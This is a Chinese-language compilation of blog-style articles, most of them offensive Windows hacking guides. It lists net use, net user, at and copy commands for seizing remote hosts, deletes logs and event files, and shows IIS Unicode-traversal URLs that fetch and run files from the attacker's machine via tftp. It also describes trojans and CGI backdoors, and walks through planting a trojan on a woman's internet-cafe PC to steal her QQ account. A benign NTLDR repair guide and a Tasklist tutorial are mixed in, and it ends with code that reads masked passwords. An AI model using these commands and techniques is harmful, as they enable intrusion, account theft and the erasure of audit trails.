网管和黑客都必须知道的命令

网管和黑客都必须知道的命令

与远程主机建立空管连接 net use \IP地址ipc$ "" /use:""
　　以管理员身份登录远程主机 net use \IP地址ipc$ "密码" /use:"Administrator"
　　传送文件到远程主机WINNT目录下copy 本机目录路径程序 \IP地址admin$
　　查看远程主机时间 net time \IP地址
　　定时启动某个程序 at \IP地址 02:18 readme.exe
　　查看共享 net view \IP地址
　　查看netbios工作组列表 nBTstat -A IP地址
　　将远程主机C盘映射为自己的F盘 net use f: \IP地址c$ ""/user:"Administrator"
　　这两条把自己增加到管理员组： net user 用户名 密码 /add
　　net locaLGroup Administrators 用户名 /add
　　断开连接 net use \IP地址ipc$ /delete

　　扫尾：
　　del C:winntsystem32logfiles*.*
　　del C:winntssytem32config*.evt
　　del C:winntsystem32dTCLog*.*
　　del C:winntsystem32*.log
　　del C:winntsystem32*.txt
　　del C:winnt*.txt
　　del C:winnt*.log

一、netsvc.exe
　　下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：
　　netsvc /list \IP地址
　　netsvc schedule \IP地址 /query
　　netsvc \IP地址 schedule /start

二、OpenTelnet.exe
　　远程启动主机的Telnet服务，并绑定端口到7878，例如：
　　OpenTelnet \IP地址 用户名 密码 1 7878
　　然后就可以telnet到主机的7878端口，进入DOS方式下：
　　telnet IP地址 7878

三、winshell.exe
　　一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：
　　p Path （查看winshell主程序的路径信息）
　　b reBoot （重新启动机器）
　　d shutDown （关闭机器）
　　s Shell （执行后你就会看到可爱的“C:>”）
　　x eXit （退出本次登录会话，此命令并不终止winshell的运行）
　　CMD> http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上）

四、3389登陆器，GUI方式登录远程主机的

五、elsave.exe
　　事件日志清除工具
　　elsave -s \IP地址 -l "application" -C
　　elsave -s \IP地址 -l "system" -C
　　elsave -s \IP地址 -l "security" -C
　　执行后成功清除应用程序日志，系统日志，安全日志
六、hbulot.exe
　　开启win2kserver和winxp的3389服务
　　hbulot （/r）

七、nc.exe(netcat.exe)
　　一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。
　　想要连接到某处: nc （-options） hostname port（s）（ports） ...
　　绑定端口等待连接: nc -l -p port （-options） （hostname） （port）

参数:
　　-e prog 程序重定向，一旦连接，就执行 （危险!）
　　-g gateway source-routing hop point（s）, up to 8
　　-G num source-routing pointer: 4, 8, 12, ...
　　-h 帮助信息
　　-i secs 延时的间隔
　　-l 监听模式，用于入站连接
　　-n 指定数字的IP地址，不能用hostname
　　-o file 记录16进制的传输
　　-p port 本地端口号
　　-r 任意指定本地及远程端口
　　-s addr 本地源地址
　　-u UDP模式
　　-v 详细输出――用两个-v可得到更详细的内容
　　-w secs timeout的时间
　　-z 将输入输出关掉――用于扫描时

八、TFTPD32.EXE
　　把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：
　　http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:winntsystem32文件名
　　然后可以直接令文件运行：
　　http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名

九、prihack.exe是IIS的printer远程缓冲区溢出工具
　　idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。

一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接.

一些黑客入侵时所经常用到的命令

现在网吧管理软件有很多，但大多有这样或那样的漏洞，于是就出现了很多破解网吧软件和网吧软件破解技巧，可以免费上网，可以使用“命令提示符”方式，可以使用管理员权限等等。于是网吧也成了虚拟财产丢失最严重的地方。但只要网吧管理员的水平足够还是能够避免这种情况发生的。告诉你我以前还在网吧是如何得到MMQQ号的技巧吧，有点复杂，主要是让你了解一些黑客入侵时所用到的命令。

    第一步：先要确定MM所用电脑的IP，网吧电脑的编号和IP地址通常是相同或是高一位，比如网吧中编号为20的电脑，IP一般是192.168.0.20或192.168.0.21(192.168.0.1留给路由器)，不仅如此，机器名也有规律，20号电脑的机器名通常是Wangba20，这样只要知道了MM用的电脑，再进入到“命令提示符”，Ping Wangba20就可以得到IP地址，比如192.168.0.20。

    第二步：有了IP，就可以开始连接上MM的电脑了，由于网吧内的电脑多使用没有打过补丁的Windows 2000，而且登录电脑的用户名也多是“user编号”的形式空密码形式，所以在“命令提示符”下输入net use //192.168.0.20/ipc$ "" /user：""及net use //192.168.0.20/ipc$ "" /user："user20"命令建立连接。

    连接成功后，就要关闭对方电脑中的杀毒软件了，右击“我的电脑”，选择“管理”，在弹出窗口中右击“计算机管理(本地)”，选择“连接到另一台计算机”，连接至192.168.0.20，启动“Telnet”服务( “计算机管理”可以直接管理远程电脑)。

    第三步：在“命令提示符”下输入两条命令在本机新建user20用户并将它添加到管理员组。

    net user user20 /add

    net localgroup administrators user20 /add

    第四步：进入到C：＼Winnt＼System32，右击CMD.EXE，选择“创建快捷方式”，然后右击新建的快捷方式，选择“属性”，勾选“以其他用户身份运行”( 以其他用户身份运行程序)。运行快捷方式CMD，弹出“以其他用户身份运行”窗口后，输入“user20”回车。

    第五步：用telnet 192.168.0.20登录至MM的电脑，再从网上下载一个命令行下杀进程的软件，如knlps等，在telnet上将杀毒软件的进程关闭。

    第六步：现在就可以下载一个木马，用“copy 木马名.exe //192.168.0.20/admin$”的方法将木马复制到MM的电脑上。再用net time //192.168.0.20得到MM电脑的时间，比如是下午4点，最后用“at //192.168.0.20 时间 木马名.exe”，如“at //192.168.0.20 16：02 木马名.exe”命令在指定时间运行木马。

    有了木马了，自然就能知道MM用的QQ号啦。

    怎么样，网吧里面是不是很危险？不过你放心，并不是所有的网吧都这样，大部分网吧还是非常安全的，只要你在使用QQ或其他软件时，选择“网吧模式”就可以了(  点击“高级设置”后出现“登录模式”选项)。

NTLDR is missing 解决方案

今天优化了一下系统，删了一些东西，把以前的备份也删了（我要重新做一个备份，而磁盘空间又不够大，就冒了一次险）没想到重启的时候 出现了这个错误，现在解决了 和大家分享。
NTLDR文件是win nt/win200/WinXP/win2003的引导文件，当此文件丢失时启动系统会提示"NTLDR is missing... "并要求按任意键重新启动，不能正确进入系统 。所以应该在系统正常的时候给予备份。           NTLDR文件是做什么的？我们如何来修复NTLDR 文件类型的故障呢？
   
       NTLDR文件的是一个隐藏的，只读的系统文件，位置在系统盘的根目录，用来装载操作系统。

一般情况系统的引导过程是这样的：


1、电源自检程序开始运行
2、主引导记录被装入内存，并且程序开始执行
3、活动分区的引导扇区被装入内存
4、NTLDR从引导扇区被装入并初始化
5、将处理器的实模式改为32位平滑内存模式
6、NTLDR开始运行适当的小文件系统驱动程序。小文件系统驱动程序是建立在NTLDR内部的，它能读FAT或NTFS。
7、NTLDR读boot.ini文件
8、NTLDR装载所选操作系统 *如果NT/XP被选择,，NTLDR运行Ntdetect.com 对于其他的操作系统，NTLDR装载并运行Bootsect.dos然后向它传递控制。windows NT过程结束。
9.Ntdetect.com 搜索计算机硬件并将列表传送给NTLDR，以便将这些信息写进HKE Y_LOCAL_MACHINEHARDWARE中。
10.然后NTLDR装载Ntoskrnl.exe，Hal.dll和系统信息集合。
11.Ntldr搜索系统信息集合，并装载设备驱动配置以便设备在启动时开始工作12.Ntldr把控制权交给Ntoskrnl.exe，这时,启动程序结束,装载阶段开始

       WindowsXP出现此故障的解决办法     

      当此文件丢失时，我们可以从安装光盘上进行提取，方法是：
1、进入系统故障恢复控制台。
2、转到C盘。
3、输入"copy X：\I386\NTLDR c:\"（说明：X为光驱盘符）并回车，如果系统提示要否覆盖则按下"Y"，之后输入exit命令退出控制台重新启动即可。

      Windows 2003 server出现此故障的解决办法

1. 用Windows 2003的安装盘启动电脑，进入Windows 2003 Server的安装界面；　　
2. 界面提示“要修复Windows 2003 server的安装，请按R”，按R键继续；
3. 屏幕出现故障恢复控制台提示“C:\Winnt，要登录到哪个Windows 2003安装（要取消，请按Enter）？”，在此键入“1”，然后按Enter键；　　
4. 键入管理员密码，然后按Enter键；　　
5. 键入Copy H:\WIN2003\ENT\I386\Ntldr c:\，按ENTER键（注：我使 用的光盘是Windows 2003二合一光盘，如果是其他的安装盘，可以使用搜索命令查找一下ntldr文件的位置，一般在i386目录下。“h:”为 我的光盘驱动器号）,如果系统提示您是否覆盖文件，键入Y，然后按Enter键。

必学Tasklist命令

在Windows XP中使用“Ctrl+Alt+Del”组合键，进入“Windows 任务管理器”，在“进程”选项卡中可以查看本机完整的进程列表，而且可以通过手工定制进程列表的方式获得更多 的进程信息，如会话ID、用户名等，但遗憾的是，我们查看不到这些进程到底提供了哪些系统服务。其实，在Windows XP中新增的一个命令行工具“Tasklist.exe”就能实现上面的功能。

　　Tasklist命令用来显示运行在本地或远程计算机上的所有进程，带有多个执行参数。使用格式：

　　Tasklist［/S system［/U username［/P［password]]]]［/M［module］| /SVC | /V］［/FI filter� ［/FO format］［/NH］

　　参数含义：

　　/S　　 ystem 指定连接到的远程系统。
　　/U［omain\］user 指定使用哪个用户执行这个命令。
　　/P［password］为指定的用户指定密码。
　　/M［module］列出调用指定的 DLL 模块的所有进程。如果没有指定模块名，显示每个进程加载的所有模块。
　　/SVC　　显示每个进程中的服务。
　　/V 　　显示详细信息。
　　/FI　　filter  显示一系列符合筛选器指定的进程。
　　/FO　　format  指定输出格式，有效值：TABLE、LIST、CSV。
　　/NH　　指定输出中不显示栏目标题。只对 TABLE和CSV格式有效。

　　下面我们来看看Tasklist命令的应用实例。

　1.查看本机进程

　　在“命令提示符”中输入Tasklist命令即可显示本机的所有进程（图1）。本机的显示结果由5部分组成：图像名（进程名）、PID、会话名、会话#和内存使用。


图 1

　2.查看远程系统的进程

　　在命令提示符下输入“Tasklist  /s  218.22.123.26 /u jtdd  /p  12345678”（不包括引号）即可查看到IP地址为218.22.123.26的远程系统的进程（图2）。其中/s参数后的“218.22.123.26”指要查看的远程系统的IP地址，/u后的“jtdd”指Tasklist命令使用的用户账号，它必须是远程系统上的一个合法账号，/p后“12345678”指jtdd账号的密码。



图 2
　  注意：使用Tasklist命令查看远程系统的进程时，需要远程机器的RPC 服务的支持，否则，该命令不能正常使用。


　3.查看系统进程提供的服务

　　Tasklist命令不但可以查看系统进程，而且还可以查看每个进程提供的服务。如查看本机进程SVCHOST.EXE提供的服务，在命令提示符下输入“Tasklist  /svc”命令即可（图3）。你会惊奇地发现，有4个SVCHOST.EXE进程，而总共有二十几项服务使用这个进程。

　
图 3
  
　　对于远程系统来说，查看系统服务也很简单，使用“Tasklist  /s  218.22.123.26  /u  jtdd  /p  12345678  /svc”命令，就可以查看IP地址为218.22.123.26的远程系统进程所提供的服务。

　　4.查看调用DLL模块文件的进程列表

　　要查看本地系统中哪些进程调用了shell32.dll模块文件，只须在命令提示符下输入“Tasklist  /m  shell32.dll”即可显示这些进程的列表。

　　5.使用筛选器查找指定的进程

　　在命令提示符下输入“TASKLIST /FI ″USERNAME ne NT AUTHORITY\SYSTEM″ /FI ″STATUS eq running”，就可以列出系统中正在运行的非SYSTEM状态的所有进程。其中“/FI”为筛选器参数，“ne”和“eq”为关系运算符“不相等”和“相等”。

黑客非法探取密码的原理及安全防范

一、非法获取Password的原理：

��Edit控件是Windows的一个标准控件，当把其Password属性设为True时,就会将输入的内容屏蔽为星号，从而达到保护的目的。虽然我们看来都是星号，但程序中的Edit控件实际仍是用户输入的密码，应用程序可以获取该控件中的密码，其他应用程序也可以通过向其发送WM_GETTEXT或EM_GETLINE消息来获取Edit控件中的内容。黑客程序正是利用Edit控件的这个特性，当发现当前探测的窗口是Edit控件并且具有ES_PASSWORD属性时，则通过SendMessage向此窗口发送WM_GETTEXT或EM_GETLINE消息，这样Edit框中的内容就一目了然了。

��二、黑客软件工作方法

��首先要取得当前的窗口，并判断是否是Edit控件，一般多通过鼠标来指定要探测的窗口，例如在WM_MOUSEMOVE消息的响应函数中进行判断，现列举代码片段如下：

//将客户坐标转换成屏幕坐标
ClientToScreen(&point);
//返回一个包含指定屏幕坐标点的窗口
CWnd* pWnd = CWnd::WindowFromPoint(point);
if (pWnd)
{
//获取窗口句柄
HWND hwndCurr = pWnd->GetSafeHwnd();
if ((::GetWindowThreadProcessId (GetSafeHwnd(), NULL)) != (::GetWindowThreadProcessId (hwndCurr, NULL)))
{
char lpClassName[255];
//获取类名
if (::GetClassName(hwndCurr, lpClassName, 255))
{
//判断是否是Edit控件
if (0 == m_strWndClass.CompareNoCase("EDIT"))
{
//获取窗口风格
LONG lStyle = ::GetWindowLong(hwndCurr, GWL_STYLE);
//如果设置了ES_PASSWORD属性
if (lStyle & ES_PASSWORD)
{
char szText[255];
//通过掌握的句柄hwndCurr向此控件发送WM_GETTEXT消息
::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szText); //密码已保存在szText中
m_strPassword = szText;
}
}
}
}
}

��上述代码中值得注意的有以下几个关键地方：
��ClientToScreen(&point);
��CWnd* pWnd = CWnd::WindowFromPoint(point);
��HWND hwndCurr = pWnd->GetSafeHwnd();

��这三句代码可以获取当前鼠标位置所在窗口的窗口句柄，在SendMessage中要用到的。
��::SendMessage(hwndCurr, WM_GETTEXT, 255, (LPARAM)szText);

��这便是真正起作用的SendMessage了，其第一个参数指定了要接收消息的窗口句柄，我们已经通过上面的代码获取到了，第二个参数就是让Edit控件返回字符的WM_GETTEXT消息了，并将得到的内容保存在szText中。